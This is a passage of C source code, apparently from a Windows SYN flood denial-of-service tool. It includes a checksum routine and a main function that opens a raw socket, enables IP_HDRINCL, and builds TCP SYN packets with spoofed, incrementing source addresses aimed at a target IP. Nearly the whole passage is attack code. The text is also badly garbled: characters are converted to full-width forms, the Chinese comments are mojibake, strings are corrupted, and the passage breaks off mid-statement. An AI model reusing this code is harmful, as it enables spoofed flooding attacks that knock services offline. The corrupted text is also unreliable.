ＵＳHOＲＴth＿ｕｒp;

//１6位緊急數(shù)據(jù)偏移量??｝TＣP_HEADＥＲ;??

??／/CheckSuｍ:計算校驗和的子函數(shù)??ＵSＨORTchｅcｋsuｍ（USHORT*bｕｆｆer，ｉｎｔsiｚｅ)

?｛

??uｎsignｅｄｌｏｎgｃkｓｕｍ=０;?

whiｌｅ(siｚe〉１）｛?

cksum＋=＊ｂuffer＋+;

?

ｓｉｚe—=sizｅof（UＳHORT）;??

｝?

ｉf(size）｛

cｋsum+＝＊（UＣHＡR＊）bｕffer；??

}

cｋsuｍ=（cksｕm>>16)＋(cｋｓｕｍ&0xffff）；

?

ｃkｓuｍ+=（cksum>＞16）;??

ｒｅturｎ（USHOＲＴ)(～cｋｓum）;

?｝??

?//

SynFｌｏod主函數(shù)

?ｉnｔmａin（）??｛??

ｉntdatａsizｅ,ErroｒCode，cｏuntｅr，ｆlaｇ，F(xiàn)ａｋｅIｐNｅt，ＦaｋeIｐＨｏｓt；?

intTｉmeOut＝2０0０，SendSEＱ=0;??

ｃｈarＳendBuｆ［128］=｛0}；??

ｃｈarＲecvBuf[65５3５]=｛０｝；

WＳＡDATＡwsａＤatａ;??

ＳOCＫETＳockRaｗ＝（ＳOCＫET）NＵＬL;

?

stｒuｃtsｏcｋadｄr_inDeｓtAddr；

?

ＩＰ_HEAＤERｉp_ｈeadｅr；

?

TCP_HEADＥＲtcp_header；

?

//初始化ＳOCK_RＡW??

if（（ErrｏrＣｏｄe=WＳAＳtartup（MAKＥWORＤ(２,1)，&wsaDaｔa）)！=0）｛

ｆprｉｎｔｆ(stdeｒr，"WSASｔarｔｕｐfaｉlｅd:%ｄ\ｎ”，ErｒoｒCode）；?

ＥxiｔProcess（STAＴUS＿FAILED）；??

｝?

SｏckＲaw＝WSASoｃket（AＦ＿IＮET,ＳOＣK_RＡW，IＰPＲOＴO_RＡW，ＮULL，0，WSA_FＬAG＿OVERLAPＰEＤ)）;??ｉf(SｏｃkＲaw==INVＡLＩD_SOＣKET）｛??

fpriｎｔf（ｓtderr,＂WSASockeｔ（)faileｄ：%d\n＂，ＷＳAＧetＬastＥｒror(））;??

ＥxitProcess(SＴATＵS_FAＩLＥD);??

}??

flag=TＲＵE；

／/設置ＩP_HDRIＮＣＬ以自己填充IＰ首部??

EｒｒｏrＣodｅ＝setsｏckｏｐt(ＳockＲaw，IPPRＯＴＯ_IP,ＩＰ＿ＨDＲIＮCL，（cｈar*）＆ｆlag，sｉｚｅof（int)）；

?Ｉｆ（EｒrｏrＣｏｄe==SＯCＫET_ERROR）

printｆ("ＳetIＰ＿ＨDRIＮCLＥｒｒoｒ?。埽睿ⅲ?；??

＿_try{?

//設置發(fā)送超時??

ErｒorCｏｄｅ=setsockｏpt(SoｃkRaｗ,ＳOL_ＳOCＫET，SO_SＮDＴＩMＥO,(chａr*)&TimeＯut，sｉzeｏf（TimeＯuｔ)）；?

ｉf(ErｒoｒCodｅ==SOＣKET_ＥRRＯＲ）｛??

fprintｆ(stderr，”ＦａｉledtoseｔsenｄTｉmeＯｕｔ:％d\n”,WSAGetLaｓtErｒｏr（））；

?

__leave；??

｝??

ｍemset(&DesｔAddr,0，sizｅof（DｅｓtＡddｒ）);?

ＤｅｓｔＡdｄｒ.siｎ_famiｌy＝AＦ_IＮＥT；

DestＡddr．ｓin_addr。ｓ＿adｄｒ=inet_ａddr（ＳYN＿ＤESＴ＿IＰ）；??

FａkeIpＮet=ineｔ＿addr(FAＫE＿ＩＰ）；

FaｋｅIpＨoｓt＝ｎｔohl(ＦaｋｅＩｐＮｅt);??

/／填充IＰ首部

?

ｉp_heaｄｅr。h_verｌen=(4<<4|sizeoｆ（iｐ＿headｅｒ）／sizeof（uｎｓigneｄlong））;??//高四位IP版本號,低四位首部長度

ip_ｈeａdeｒ.total_len=htｏns（sｉｚｅof（IP＿HＥADEＲ）＋sizｅoｆ(TCP_HＥＡDEＲ))；

/／16位總長度(字節(jié))??

ip_header。idｅnt＝1；

／／１６位標識??

ｉp_ｈeader.ｆrag_and_flags=0;

/／3位標志位??

iｐ_ｈｅaｄer．ｔtl=128;

//8位生存時間TＴＬ

?

ｉp＿hｅａｄer.ｐｒoｔo=ＩPＰROＴO_ＴＣＰ；

／/8位協(xié)議（TＣＰ，UDＰ…)??

iｐ_hｅader．checksum=0;

//1６位IP首部校驗和

?

iｐ＿hｅaｄer．sourceIP=ｈｔoｎｌ（ＦaｋeIpＨｏst+SｅndSＥQ）；

//32位源IP地址?

ip_headｅｒ.deｓtIP=iｎｅｔ_addr(SＹN＿ＤESＴ_IＰ）;

／/３2位目的IP地址??

／/填充ＴCＰ首部?

ｔcｐ_headｅr．th_sport＝hｔonｓ（70０0);

//源端口號??

ｔcｐ_ｈeader。th＿ｄpｏrt＝ｈtonｓ(8０80);

//目的端口號

ｔcp_ｈｅaｄer．th＿ｓｅq＝htonｌ(SEQ＋SendSEＱ);

／／SYＮ序列號?

ｔcp＿heaｄeｒ．th_aｃk=０；

/／ACＫ序列號置為0

?

tｃp_hｅader．th＿lｅｎres=（sizeof（ＴＣＰ_HEＡＤER)/４＜〈4｜０）;

//ＴCＰ長度和保留位??

tcp＿hｅaｄer．th_flａg＝2;

//SＹN標志??

tcｐ_hｅader.ｔh_ｗin＝ｈtons(１6３８4)；

//窗口大小??

ｔcp＿ｈｅader。th_urｐ＝0；

//偏移?

ｔｃp＿ｈeader．th_sum=０;

//校驗和??

//填充TCP偽首部（用于計算校驗和,并不真正發(fā)送)??

ｐｓd_hｅaｄeｒ.saddr＝iｐ＿heａder．sｏｕrceIP；

//源地址?

psd_ｈeａder.ｄａddr=iｐ＿header.dｅstIP;

/／目的地址??

ｐｓd_header。mbz=0;

?

psｄ＿ｈeａdeｒ．ｐｔｃl=IＰＰROＴO_ＴCP;

／/協(xié)議類型?

pｓd_ｈｅaｄer.ｔｃpl=ｈtｏｎs(sizeof(tｃp＿head